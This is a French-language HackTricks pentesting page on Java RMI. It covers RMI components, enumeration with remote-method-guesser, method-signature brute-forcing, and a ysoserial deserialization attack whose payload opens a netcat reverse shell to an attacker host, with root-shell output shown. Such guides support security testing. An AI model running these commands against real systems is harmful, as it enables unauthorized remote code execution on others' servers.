19 KiB
1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
Basic Information
L'Invocation de Méthodes à Distance Java, ou Java RMI, est un mécanisme RPC orienté objet qui permet à un objet situé dans une machine virtuelle Java d'appeler des méthodes sur un objet situé dans une autre machine virtuelle Java. Cela permet aux développeurs d'écrire des applications distribuées en utilisant un paradigme orienté objet. Une brève introduction à Java RMI d'un point de vue offensif peut être trouvée dans cette conférence blackhat.
Default port: 1090,1098,1099,1199,4443-4446,8999-9010,9999
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
Habituellement, seuls les composants par défaut Java RMI (le RMI Registry et le Activation System) sont liés à des ports communs. Les objets distants qui implémentent l'application RMI réelle sont généralement liés à des ports aléatoires comme indiqué dans la sortie ci-dessus.
nmap a parfois des difficultés à identifier les services RMI protégés par SSL. Si vous rencontrez un service ssl inconnu sur un port RMI commun, vous devriez enquêter davantage.
Composants RMI
Pour le dire simplement, Java RMI permet à un développeur de rendre un objet Java disponible sur le réseau. Cela ouvre un port TCP où les clients peuvent se connecter et appeler des méthodes sur l'objet correspondant. Bien que cela semble simple, il y a plusieurs défis que Java RMI doit résoudre :
- Pour dispatcher un appel de méthode via Java RMI, les clients doivent connaître l'adresse IP, le port d'écoute, la classe ou l'interface implémentée et l'
ObjID
de l'objet ciblé (l'ObjID
est un identifiant unique et aléatoire qui est créé lorsque l'objet est rendu disponible sur le réseau. Il est requis car Java RMI permet à plusieurs objets d'écouter sur le même port TCP). - Les clients distants peuvent allouer des ressources sur le serveur en invoquant des méthodes sur l'objet exposé. La machine virtuelle Java doit suivre quelles ressources sont encore utilisées et lesquelles peuvent être collectées par le ramasse-miettes.
Le premier défi est résolu par le RMI registry, qui est essentiellement un service de nommage pour Java RMI. Le RMI registry lui-même est également un service RMI, mais l'interface implémentée et l'ObjID
sont fixes et connus de tous les clients RMI. Cela permet aux clients RMI de consommer le RMI registry simplement en connaissant le port TCP correspondant.
Lorsque les développeurs souhaitent rendre leurs objets Java disponibles sur le réseau, ils les lient généralement à un RMI registry. Le registry stocke toutes les informations nécessaires pour se connecter à l'objet (adresse IP, port d'écoute, classe ou interface implémentée et valeur de l'ObjID
) et les rend disponibles sous un nom lisible par l'homme (le nom lié). Les clients qui souhaitent consommer le service RMI demandent au RMI registry le nom lié correspondant et le registry renvoie toutes les informations nécessaires pour se connecter. Ainsi, la situation est essentiellement la même que celle d'un service DNS ordinaire. La liste suivante montre un petit exemple :
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
Le deuxième des défis mentionnés ci-dessus est résolu par le Distributed Garbage Collector (DGC). C'est un autre RMI service avec une valeur ObjID
bien connue et il est disponible sur pratiquement chaque RMI endpoint. Lorsqu'un RMI client commence à utiliser un RMI service, il envoie une information au DGC que l'objet remote correspondant est en cours d'utilisation. Le DGC peut alors suivre le nombre de références et est capable de nettoyer les objets inutilisés.
Avec le Activation System obsolète, ce sont les trois composants par défaut de Java RMI :
- Le RMI Registry (
ObjID = 0
) - Le Activation System (
ObjID = 1
) - Le Distributed Garbage Collector (
ObjID = 2
)
Les composants par défaut de Java RMI sont connus pour être des vecteurs d'attaque depuis un certain temps et plusieurs vulnérabilités existent dans les versions obsolètes de Java. Du point de vue d'un attaquant, ces composants par défaut sont intéressants, car ils implémentent des classes / interfaces connues et il est facilement possible d'interagir avec eux. Cette situation est différente pour les RMI services personnalisés. Pour appeler une méthode sur un objet remote, vous devez connaître la signature de méthode correspondante à l'avance. Sans connaître une signature de méthode existante, il n'y a aucun moyen de communiquer avec un RMI service.
RMI Enumeration
remote-method-guesser est un scanner de vulnérabilités Java RMI capable d'identifier automatiquement les vulnérabilités RMI courantes. Chaque fois que vous identifiez un RMI endpoint, vous devriez essayer :
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
L'output de l'action d'énumération est expliqué plus en détail dans les pages de documentation du projet. En fonction du résultat, vous devriez essayer de vérifier les vulnérabilités identifiées.
Les valeurs ObjID
affichées par remote-method-guesser peuvent être utilisées pour déterminer le temps de disponibilité du service. Cela peut permettre d'identifier d'autres vulnérabilités :
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
Bruteforçage des Méthodes Distantes
Même lorsque aucune vulnérabilité n'a été identifiée lors de l'énumération, les services RMI disponibles pourraient toujours exposer des fonctions dangereuses. De plus, bien que la communication RMI avec les composants par défaut RMI soit protégée par des filtres de désérialisation, lorsqu'il s'agit de services RMI personnalisés, de tels filtres ne sont généralement pas en place. Connaître les signatures de méthode valides sur les services RMI est donc précieux.
Malheureusement, Java RMI ne prend pas en charge l'énumération des méthodes sur les objets distants. Cela dit, il est possible de bruteforcer les signatures de méthode avec des outils comme remote-method-guesser ou rmiscout :
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
Les méthodes identifiées peuvent être appelées comme ceci :
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
Ou vous pouvez effectuer des attaques de désérialisation comme ceci :
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
Plus d'informations peuvent être trouvées dans ces articles :
En plus de deviner, vous devriez également chercher dans les moteurs de recherche ou GitHub l'interface ou même l'implémentation d'un service RMI rencontré. Le bound name et le nom de la classe ou de l'interface implémentée peuvent être utiles ici.
Interfaces Connues
remote-method-guesser marque les classes ou interfaces comme known
si elles sont répertoriées dans la base de données interne de l'outil des RMI services connus. Dans ces cas, vous pouvez utiliser l'action known
pour obtenir plus d'informations sur le service RMI correspondant :
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
Shodan
port:1099 java
Outils
Références
Commandes Automatiques HackTricks
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
Utilisez Trickest pour créer et automatiser des workflows facilement grâce aux outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.